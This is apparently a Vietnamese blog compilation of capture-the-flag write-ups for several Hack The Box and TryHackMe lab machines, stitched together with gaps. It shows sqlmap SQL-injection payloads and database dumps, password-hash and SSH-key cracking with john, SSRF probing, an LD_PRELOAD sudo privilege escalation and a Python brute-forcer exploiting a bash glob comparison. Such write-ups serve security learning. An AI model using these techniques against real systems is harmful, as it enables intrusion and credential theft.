Usage là một machine mức độ easy lợi dụng lỗ hổng SQL injection để truy cập vào database và lấy thông tin đăng nhập của người dùng, sử dụng các lỗ hổng tồn tại trong phiên bản cũ của Laravel framework để tải lên RCE
Thêm domain và file host và truy cập web với port 80
Enumeration
Thử input các lỗ hổng SQLi và XSS đều không có kết quả, tôi dạo qua các phần khác của web này. Khi chọn Admin, tôi được đưa đến một subdomain khác là admin.usage.htb. Thêm nó vào file hosts để truy cập
Lại là một login form khác nhưng là để truy cập vào admin panel. Tôi cũng không thể thực hiện SQLi nên sẽ quay lại trang ban đầu.
Thử đăng ký tài khoản và đăng nhập, tuy nhiên sau khi login tôi cũng không nhận được gì đặc biệt ngoài các đoạn text
Vậy là chỉ còn phần Reset Password, tôi cũng nhận được một input nhập email. Tuy nhiên thử SQLi ở phần này thì server đã xử lý được payload của tôi
sqlmap
Sử dụng burpsuite để lấy nội dung request (bỏ payload).
Sử dụng sqlmap để thực hiện SQLi với request vừa lưu. Sử dụng parameter email để khai thác
┌──(kali㉿kali)-[~/HTB-Usage]└─$sudosqlmap-rrequest.txt--level=5--risk=3-pemail--dump--batch_____H________["]_____ ___ ___ {1.8.4#stable}
|_ -| . [.] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[23:57:30] [INFO] parsing HTTP request from 'request.txt'
[23:57:30] [INFO] resuming back-end DBMS 'mysql'
[23:57:30] [INFO] testing connection to the target URL
got a 302 redirect to 'http://usage.htb/forget-password'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: _token=MIkLtbJSRbSB12kmbrAHgIrQmZ5sfn3GNujMZt9v&email=admin@mail.com' AND 7936=(SELECT (CASE WHEN (7936=7936) THEN 7936 ELSE (SELECT 2488 UNION SELECT 3253) END))-- dkmV
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
Payload: _token=MIkLtbJSRbSB12kmbrAHgIrQmZ5sfn3GNujMZt9v&email=admin@mail.com' AND 3261=BENCHMARK(5000000,MD5(0x6f7a696c))-- QjGd
---
[23:57:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL 8
[23:57:30] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[23:57:30] [INFO] fetching current database
[23:57:30] [INFO] resumed: usage_blog
[23:57:30] [INFO] fetching tables for database: 'usage_blog'
[23:57:30] [INFO] fetching number of tables for database 'usage_blog'
[23:57:30] [INFO] resumed: 15
[23:57:30] [INFO] resumed: admin_menu
[23:57:30] [INFO] resumed: admin_operation_log
[23:57:30] [INFO] resumed: admin_permissions
[23:57:30] [INFO] resumed: admin_role_menu
[23:57:30] [INFO] resuming partial value: admi
[23:57:30] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[23:57:30] [INFO] retrieved:
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
n_role_permissions
[23:57:51] [INFO] retrieved: admin_role_users
[23:58:05] [INFO] retrieved: admin_roles
[23:58:11] [INFO] retrieved: admin_user_permissions
[23:58:46] [INFO] retrieved: admin_users
[23:58:53] [INFO] retrieved: blog
[23:59:01] [INFO] retrieved: failed_jobs
[23:59:24] [INFO] retrieved: migrations
[23:59:46] [INFO] retrieved: password_reset_token
Tiếp tục khai thác với db usage_blog và table admin_users
┌──(kali㉿kali)-[~/HTB-Usage]
└─$ sudo sqlmap -r request.txt --level=5 --risk=3 -D usage_blog -T admin_users --dump --batch
___
__H__
___ ___[']_____ ___ ___ {1.8.4#stable}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
.......
[00:07:18] [INFO] fetching columns for table 'admin_users' in database 'usage_blog'
[00:07:18] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[00:07:18] [INFO] retrieved:
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
8
[00:07:22] [INFO] retrieved: avatar
[00:07:32] [INFO] retrieved: created_at
[00:07:53] [INFO] retrieved: id
[00:07:56] [INFO] retrieved: name
[00:08:03] [INFO] retrieved: password
[00:08:24] [INFO] retrieved: remember_token
[00:08:49] [INFO] retrieved: updated_at
[00:09:07] [INFO] retrieved: username
[00:09:20] [INFO] fetching entries for table 'admin_users' in database 'usage_blog'
[00:09:20] [INFO] fetching number of entries for table 'admin_users' in database 'usage_blog'
[00:09:20] [INFO] resumed: 1
[00:09:20] [INFO] retrieved: Administrator
[00:09:46] [INFO] retrieved:
Tiếp tục khai thác với 2 cột username và password
┌──(kali㉿kali)-[~/HTB-Usage]└─$sudosqlmap-rrequest.txt--level=5--risk=3-Dusage_blog-Tadmin_users-Cusername,password--dump--batch_____H________[)]___________{1.8.4#stable}
|_-|.[(]|.'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[00:12:26] [INFO] fetching entries of column(s) 'password,username' for table 'admin_users' in database 'usage_blog'
[00:12:26] [INFO] fetching number of column(s) 'password,username' entries for table 'admin_users' in database 'usage_blog'
[00:12:26] [INFO] resumed: 1
[00:12:26] [INFO] resumed: $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2
[00:12:26] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[00:12:26] [INFO] retrieved:
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
admin
Database: usage_blog
Table: admin_users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 |
+----------+--------------------------------------------------------------+
[00:12:36] [INFO] table 'usage_blog.admin_users' dumped to CSV file '/root/.local/share/sqlmap/output/usage.htb/dump/usage_blog/admin_users.csv'
[00:12:36] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 20 times
[00:12:36] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/usage.htb'
john
Copy hash này ra file và sử dụng john để crack password
Khai thác các file có trong thư mục của user dash, tôi tìm được một password trong file .monitrc
dash@usage:~$cat.monitrccat.monitrc#Monitoring Interval in Seconds
setdaemon60#Enable Web Access
sethttpdport2812useaddress127.0.0.1allowadmin:******************#Apache
checkprocessapachewithpidfile"/var/run/apache2/apache2.pid"ifcpu>80%for2cyclesthenalert#System Monitoring
checksystemusageifmemoryusage>80%for2cyclesthenalertifcpuusage(user)>70%for2cyclesthenalertifcpuusage(system)>30%thenalertifcpuusage(wait)>20%thenalertifloadavg(1min)>6for2cyclesthenalertifloadavg(5min)>4for2cyclesthenalertifswapusage>5%thenalertcheckfilesystemrootfswithpath/ifspaceusage>80%thenalert
Thử ssh với user dash nhưng không được. Kiểm tra /etc/passwd và tôi có thêm 1 user nữa là xander. Thử ssh vào user này với password vừa tìm được
┌──(kali㉿kali)-[~/Downloads]└─$sshxander@10.10.11.18xander@10.10.11.18's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue May 7 08:50:59 AM UTC 2024
System load: 0.5537109375
Usage of /: 66.3% of 6.53GB
Memory usage: 23%
Swap usage: 0%
Processes: 258
Users logged in: 1
IPv4 address for eth0: 10.10.11.18
IPv6 address for eth0: dead:beef::250:56ff:feb9:a482
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue May 7 08:34:25 2024 from 10.10.14.5
xander@usage:~$
Phần /usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *, tôi đã tìm thấy cách khai thác nó trên hacktricks book, có tên là Wildcards Spare tricks
Tôi sẽ thử lấy private key của root (dù tôi không chắc là nó có tồn tại hay không)
Copy nội dung của key này về, xóa hết phần thừa và lưu thành id_rsa
┌──(kali㉿kali)-[~/p0wny-shell]└─$chmod600id_rsa┌──(kali㉿kali)-[~/p0wny-shell]└─$ssh-iid_rsaroot@10.10.11.18WelcometoUbuntu22.04.4LTS(GNU/Linux5.15.0-101-genericx86_64)*Documentation:https://help.ubuntu.com*Management:https://landscape.canonical.com*Support:https://ubuntu.com/proSysteminformationasofTueMay709:33:54AMUTC2024Systemload:0.0390625Usageof/:65.6%of6.53GBMemoryusage:21%Swapusage:0%Processes:230Usersloggedin:1IPv4addressforeth0:10.10.11.18IPv6addressforeth0:dead:beef::250:56ff:feb9:6f7bExpandedSecurityMaintenanceforApplicationsisnotenabled.0updatescanbeappliedimmediately.EnableESMAppstoreceiveadditionalfuturesecurityupdates.Seehttps://ubuntu.com/esmorrun:sudoprostatusThelistofavailableupdatesismorethanaweekold.Tocheckfornewupdatesrun:sudoaptupdateFailedtoconnecttohttps://changelogs.ubuntu.com/meta-release-lts.CheckyourInternetconnectionorproxysettingsLastlogin:TueMay709:02:512024from10.10.14.58root@usage:~# id
uid=0(root)gid=0(root)groups=0(root)root@usage:~# ls -la
total44drwx------7rootroot4096May708:53.drwxr-xr-x19rootroot4096Apr221:15..lrwxrwxrwx1rootroot9Apr220:22.bash_history->/dev/null-rw-r--r--1rootroot3106Oct152021.bashrcdrwxr-xr-x3rootroot4096Aug242023.cache-rwxr-xr-x1rootroot307Apr313:24cleanup.shdrwxr-xr-x4rootroot4096Aug222023.configdrwxr-xr-x3rootroot4096Aug212023.locallrwxrwxrwx1rootroot9Apr220:22.mysql_history->/dev/null-rw-r-----1rootroot33May708:53root.txtdrwx------3rootroot4096Aug62023snapdrwx------2rootroot4096Apr223:07.ssh-rw-r--r--1rootroot1444Oct282023usage_management.croot@usage:~#
Truy cập domain với port 80. Sau khi thử các phương pháp đơn giản đều không có kết quả, tôi thử tìm directory bằng dirsearch, trong khi chờ kết quả từ dirsearch, dựa vào việc machine này có domain, tôi nghĩ ngay đến việc tìm kiếm subdomain từ domain này. Sử dụng ffuf để tìm kiếm subdomain
Truy cập /assets/ nhưng tôi gặp lỗi Forbbiden - không có quyền truy cập vào dir này. Quay lại với subdomain vừa tìm được, thêm nó vào file hosts
nano /etc/hosts
10.10.55.1 creative.thm beta.creative.thm
Truy cập vào subdomain mới
Tôi có một trang web kiểm tra URL ở đây. Sau một lúc thử nghiệm các input, tôi nhận ra với các input sai (không phải định dạng URL hoặc bất kỳ điều gì, thay vì kiểm tra và trả về kết quả input sai định dạng thì web server trả về kết quả là 1 chữ Dead. Điều này có nghĩa là server sẽ xử lý bất kỳ input nào tôi nhập vào -> tôi có thể thực hiện SSRF ở đây.
Với parameter ở request này là url, tôi sẽ sử dụng SSRFmap với các module có khả năng trả về kết quả như portscan, networkscan, custom (các module khác không được sử dụng do không có dịch vụ chạy trên web server này tránh mất thời gian vào việc scan)
Sau khi sử dụng module portscan tôi tìm được 1 port khác ngoài port 80 đang mở trên localhost
Để truy cập được các path này, tôi phải quay lại và nhập thêm path vào url để kiểm tra. Để việc này dễ dàng hơn thì tôi sẽ sử dụng Burpsuite để bắt request này và cho nó vào repeater
Phần url đã được encode nên để truy cập được các path tôi cũng sẽ phải encode theo url format
SSH
Để ý có thư mục .ssh, có thể sẽ lưu ssh key ở đây
Lấy id_rsa
Lưu key này về và login ssh
┌──(root㉿kali)-[/home/kali]└─# chmod 600 id_rsa
┌──(root㉿kali)-[/home/kali]└─# ssh -i id_rsa saad@10.10.55.1
Theauthenticityofhost'10.10.55.1 (10.10.55.1)'can't be established.
ED25519 key fingerprint is SHA256:09XvTnhtDcy1LRcuA8MJ6i3a1gN/7Prv5xmZF9v8Gq4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.55.1' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':
Vậy là tôi cần passphrase. Sử dụng john để crack pass từ key này
┌──(root㉿kali)-[/home/kali]└─# ssh2john id_rsa > id_rsa.hash
┌──(root㉿kali)-[/home/kali]└─# john -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt id_rsa.hash
Usingdefaultinputencoding:UTF-8Loaded1passwordhash(SSH,SSHprivatekey[RSA/DSA/EC/OPENSSH32/64])Cost1(KDF/cipher[0=MD5/AES1=MD5/3DES2=Bcrypt/AES])is2forallloadedhashesCost2(iterationcount)is16forallloadedhashesWillrun6OpenMPthreadsPress'q'orCtrl-Ctoabort,almostanyotherkeyforstatus***********(id_rsa)1g0:00:00:26DONE(2024-04-1414:02)0.03818g/s36.65p/s36.65c/s36.65C/s242424..marie1Usethe"--show"optiontodisplayallofthecrackedpasswordsreliablySessioncompleted.
Login ssh
┌──(root㉿kali)-[/home/kali]└─# john -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt id_rsa.hash
Usingdefaultinputencoding:UTF-8Loaded1passwordhash(SSH,SSHprivatekey[RSA/DSA/EC/OPENSSH32/64])Cost1(KDF/cipher[0=MD5/AES1=MD5/3DES2=Bcrypt/AES])is2forallloadedhashesCost2(iterationcount)is16forallloadedhashesWillrun6OpenMPthreadsPress'q'orCtrl-Ctoabort,almostanyotherkeyforstatussweetness(id_rsa)1g0:00:00:26DONE(2024-04-1414:02)0.03818g/s36.65p/s36.65c/s36.65C/s242424..marie1Usethe"--show"optiontodisplayallofthecrackedpasswordsreliablySessioncompleted.┌──(root㉿kali)-[/home/kali]└─# ssh -i id_rsa saad@10.10.55.1
Enterpassphraseforkey'id_rsa':WelcometoUbuntu20.04.5LTS(GNU/Linux5.4.0-135-genericx86_64)*Documentation:https://help.ubuntu.com*Management:https://landscape.canonical.com*Support:https://ubuntu.com/advantageSysteminformationasofSun14Apr202406:03:58PMUTCSystemload:0.0Processes:115Usageof/:57.5%of8.02GBUsersloggedin:0Memoryusage:27%IPv4addressforeth0:10.10.55.1Swapusage:0%58updatescanbeappliedimmediately.33oftheseupdatesarestandardsecurityupdates.Toseetheseadditionalupdatesrun:aptlist--upgradableThelistofavailableupdatesismorethanaweekold.Tocheckfornewupdatesrun:sudoaptupdateLastlogin:MonNov607:56:402023from192.168.8.102saad@m4lware:~$iduid=1000(saad)gid=1000(saad)groups=1000(saad)saad@m4lware:~$saad@m4lware:~$ls-latotal52drwxr-xr-x7saadsaad4096Jan212023.drwxr-xr-x3rootroot4096Jan202023..-rw-------1saadsaad362Jan212023.bash_history-rw-r--r--1saadsaad220Feb252020.bash_logout-rw-r--r--1saadsaad3797Jan212023.bashrcdrwx------2saadsaad4096Jan202023.cachedrwx------3saadsaad4096Jan202023.gnupgdrwxrwxr-x3saadsaad4096Jan202023.local-rw-r--r--1saadsaad807Feb252020.profiledrwx------3saadsaad4096Jan202023snapdrwx------2saadsaad4096Jan212023.ssh-rwxr-xr-x1rootroot150Jan202023start_server.py-rw-r--r--1saadsaad0Jan202023.sudo_as_admin_successful-rw-rw----1saadsaad33Jan212023user.txt
Privilege escalation
Sau khi tìm loanh quanh user này, tôi có thông tin đăng nhập ở .bash_history
Để ý vào phần env_keep+=LD_PRELOAD, tìm kiếm về LD_PRELOAD privilege escalation, tôi tìm thấy hướng dẫn ngay ở link đầu tiên.
Làm theo hướng dẫn và tôi có root
saad@m4lware:~$cd/tmp/saad@m4lware:/tmp$nanoshell.csaad@m4lware:/tmp$gcc-shared-fPIC-oshell.soshell.c-nostartfilessaad@m4lware:/tmp$sudoLD_PRELOAD=/tmp/shell.so/usr/bin/pingbash:fork:Resourcetemporarilyunavailableroot@m4lware:/tmp# id
bash:fork:retry:Resourcetemporarilyunavailableroot@m4lware:/tmp# exit
exitsh:1:Cannotfork/usr/bin/lesspipe:28:Cannotforkroot@m4lware:/tmp# id
uid=0(root)gid=0(root)groups=0(root)root@m4lware:/tmp# cd /root
root@m4lware:~# ls -la
total44drwx------5rootroot4096Nov607:56.drwxr-xr-x19rootroot4096Dec32022..-rw-------1rootroot48Apr1418:57.bash_history-rw-r--r--1rootroot3132Jan212023.bashrcdrwxr-xr-x3rootroot4096Jan202023.cachedrwxr-xr-x3rootroot4096Jan202023.local-rw-------1rootroot1Jan212023.mysql_history-rw-r--r--1rootroot161Dec52019.profile-rw-------1rootroot1Jan212023.python_history-rw-------1rootroot33Jan212023root.txtdrwx------3rootroot4096Jan202023snaproot@m4lware:~#
Codify là một machine mức độ easy dựa trên lỗ hổng của thư viện trong Node.js để thực hiện RCE, cũng như lợi dụng các lỗ hổng trong bash để thực hiện leo thang đặc quyền lên root
┌──(neo㉿4nhHT)-[~/HTB-Codify]└─$sshjoshua@10.10.11.239Theauthenticityofhost'10.10.11.239 (10.10.11.239)'can't be established.
ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xotOsBBE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.239' (ED25519) to the list of known hosts.
joshua@10.10.11.239'spassword:joshua@codify:~$iduid=1000(joshua)gid=1000(joshua)groups=1000(joshua)joshua@codify:~$lspython.pyscript.pyuser.txtjoshua@codify:~$
Privilege Escalation
sudo -l
joshua@codify:~$sudo-l[sudo]passwordforjoshua:MatchingDefaultsentriesforjoshuaoncodify:env_reset,mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,use_ptyUserjoshuamayrunthefollowingcommandsoncodify:(root)/opt/scripts/mysql-backup.shjoshua@codify:~$cat/opt/scripts/mysql-backup.sh#!/bin/bash
DB_USER="root"DB_PASS=$(/usr/bin/cat/root/.creds)BACKUP_DIR="/var/backups/mysql"read-s-p"Enter MySQL password for $DB_USER: "USER_PASS/usr/bin/echoif[[$DB_PASS==$USER_PASS]];then/usr/bin/echo"Password confirmed!"else/usr/bin/echo"Password confirmation failed!"exit1fi/usr/bin/mkdir-p"$BACKUP_DIR"databases=$(/usr/bin/mysql-u"$DB_USER"-h0.0.0.0-P3306-p"$DB_PASS"-e"SHOW DATABASES;"|/usr/bin/grep-Ev"(Database|information_schema|performance_schema)")fordbin$databases;do/usr/bin/echo"Backing up database: $db"/usr/bin/mysqldump--force-u"$DB_USER"-h0.0.0.0-P3306-p"$DB_PASS""$db"|/usr/bin/gzip>"$BACKUP_DIR/$db.sql.gz"done/usr/bin/echo"All databases backed up successfully!"/usr/bin/echo"Changing the permissions"/usr/bin/chownroot:sys-adm"$BACKUP_DIR"/usr/bin/chmod774-R"$BACKUP_DIR"/usr/bin/echo'Done!'joshua@codify:~$
Phân tích file bash này và tìm hiểu thông tin trên internet, tôi tìm thấy lỗ hổng trong việc so sánh DB_PASS và USER_PASS, được gọi là unquoted variable comparison, nó liên quan đến 2 dấu bằng ==.
HIểu đơn giản là trong bash, nếu phía bên phải của dấu == không được trích dẫn trực tiếp, bash sẽ thực hiện khớp mẫu thay vì so sánh chuỗi. Trong trường hợp này, chúng ta có thể khớp bất kỳ ký tự nào mà được theo sau bởi một số lượng ký tự nào đó, ví dụ a******, AB*****
Áp dụng lỗi này, tôi sẽ viết một đoạn mã python đơn giản để kiểm tra mật khẩu, với logic đơn giản là thử từng ký tự một trong chuỗi password và theo sau bởi một số lượng ký tự bất kỳ nào đó.
importstringimportoschars=string.ascii_letters+string.digitspassword=''next=1whilenext==1:foriinchars:errorlevel=os.system("echo "+password+i+"* | sudo /opt/scripts/mysql-backup.sh >/dev/null 2>&1")iferrorlevel==0:password=password+iprint("[+] new character found: "+password)next=1breakelse:next=0print("[+] done, root password is: "+password)
Tạo 1 file exploit.py trên máy codify, sao chép đoạn code trên và lưu để chạy
joshua@codify:~$surootPassword:root@codify:/home/joshua# id
uid=0(root)gid=0(root)groups=0(root)root@codify:/home/joshua# ls /root
root.txtscriptsroot@codify:/home/joshua#
Devvortex là một machine đơn giản xoay quanh kỹ thuật áp dụng các lỗ hổng đã có PoC để tải RCE lên Joomla CMS, lấy user password trong mysql và nâng cao đặc quyền với apport-cli
Thêm devvortex.htb vào /etc/hosts để phân giải tên miền với IP 10.10.11.242
nano /etc/hosts
10.10.11.242 devvortex.htb
Truy cập http://devvortex.htb và thử các cách đơn giản để thu thập các thông tin cơ bản của web server này như: robots.txt, index.php, v.v…. Tuy nhiên không có kết quả nào đáng giá, nên tôi sẽ thử tìm kiếm sub domain vì việc cung cấp domain hẳn phải có lý do nào đó.
Vậy là tôi vừa biết được trong server có 2 user là lewis và logan, vừa có thông tin đăng nhập của lewis
Truy cập http://dev.devvortex.htb/administrator/ để đăng nhập với user lewis
Để tạo được RCE, có thể thêm reverse shell vào một trong các file php của template
System -> Site templates -> Cassiopeia Details and Files, chọn một trong số các file có sẵn và sửa nội dung thành reverse shell của mình. Tôi chọn shell bên dưới:
Vậy là tôi tìm được password hash của logan ở đây. Sao chép hash này về máy và sử dụng john để crack nó
┌──(root㉿kali)-[/home/kali/HTB/Devvortex]└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Usingdefaultinputencoding:UTF-8Loaded1passwordhash(bcrypt[Blowfish32/64X3])Cost1(iterationcount)is1024forallloadedhashesWillrun8OpenMPthreadsPress'q'orCtrl-Ctoabort,almostanyotherkeyforstatus*************(?)1g0:00:00:08DONE(2024-03-1711:30)0.1239g/s178.4p/s178.4c/s178.4C/slacoste..michelUsethe"--show"optiontodisplayallofthecrackedpasswordsreliablySessioncompleted.
SSH login
┌──(root㉿kali)-[/home/kali/HTB/Devvortex]└─# ssh logan@10.10.11.242
logan@10.10.11.242's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-167-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 17 Mar 2024 03:29:10 PM UTC
System load: 0.0 Processes: 197
Usage of /: 67.7% of 4.76GB Users logged in: 0
Memory usage: 24% IPv4 address for eth0: 10.10.11.242
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Mar 17 09:12:48 2024 from 10.10.14.25
logan@devvortex:~$ id
uid=1000(logan) gid=1000(logan) groups=1000(logan)
logan@devvortex:~$ ls
final getroot new user.txt
logan@devvortex:~$
................................ERROR:Cannotupdate/var/crash/_usr_bin_sleep.1000.crash:[Errno13]Permissiondenied:'/var/crash/_usr_bin_sleep.1000.crash'...........................root@devvortex:/var/crash#
root@devvortex:/var/crash# id
uid=0(root)gid=0(root)groups=0(root)root@devvortex:/var/crash# ls -la /root
total40drwx------6rootroot4096Mar1709:43.drwxr-xr-x19rootroot4096Oct2615:12..lrwxrwxrwx1rootroot9Jan202021.bash_history->/dev/null-rw-r--r--1rootroot3106Dec52019.bashrcdrwx------2rootroot4096Feb2614:30.cachedrwxr-xr-x3rootroot4096Oct2916:21.cleanup-rw-------1rootroot38Mar1709:43.lesshstdrwxr-xr-x3rootroot4096Feb2614:30.local-rw-r--r--1rootroot161Dec52019.profile-rw-r-----1rootroot33Mar1706:39root.txtdrwx------2rootroot4096Oct2615:12.sshroot@devvortex:/var/crash#
Thử nhập input vào 2 trường và bắt request bằng burp
Ở trường location trong response trả về cho tôi kết quả của kết nối. Vậy thì tôi có thể thử command injection để server trả kết quả về cho tôi được không
┌──(root㉿kali)-[~]└─# john -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt --format=bcrypt hash.txt
Usingdefaultinputencoding:UTF-8Loaded1passwordhash(bcrypt[Blowfish32/64X3])Cost1(iterationcount)is1024forallloadedhashesWillrun16OpenMPthreadsPress'q'orCtrl-Ctoabort,almostanyotherkeyforstatusmanchesterunited(admin)1g0:00:00:08DONE(2023-10-0910:50)0.1119g/s322.5p/s322.5c/s322.5C/smygirl..secretsUsethe"--show"optiontodisplayallofthecrackedpasswordsreliablySessioncompleted.
Thử login ssh với user josh và password vừa decrypt được
┌──(root㉿kali)-[~]└─# ssh josh@10.10.11.230
josh@10.10.11.230's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-82-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Oct 9 03:01:09 PM UTC 2023
System load: 0.0
Usage of /: 55.4% of 5.42GB
Memory usage: 36%
Swap usage: 0%
Processes: 301
Users logged in: 1
IPv4 address for eth0: 10.10.11.230
IPv6 address for eth0: dead:beef::250:56ff:feb9:9679
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Oct 9 14:32:04 2023 from 10.10.14.106
josh@cozyhosting:~$ id
uid=1003(josh) gid=1003(josh) groups=1003(josh)
josh@cozyhosting:~$
josh@cozyhosting:~$ ls
user.txt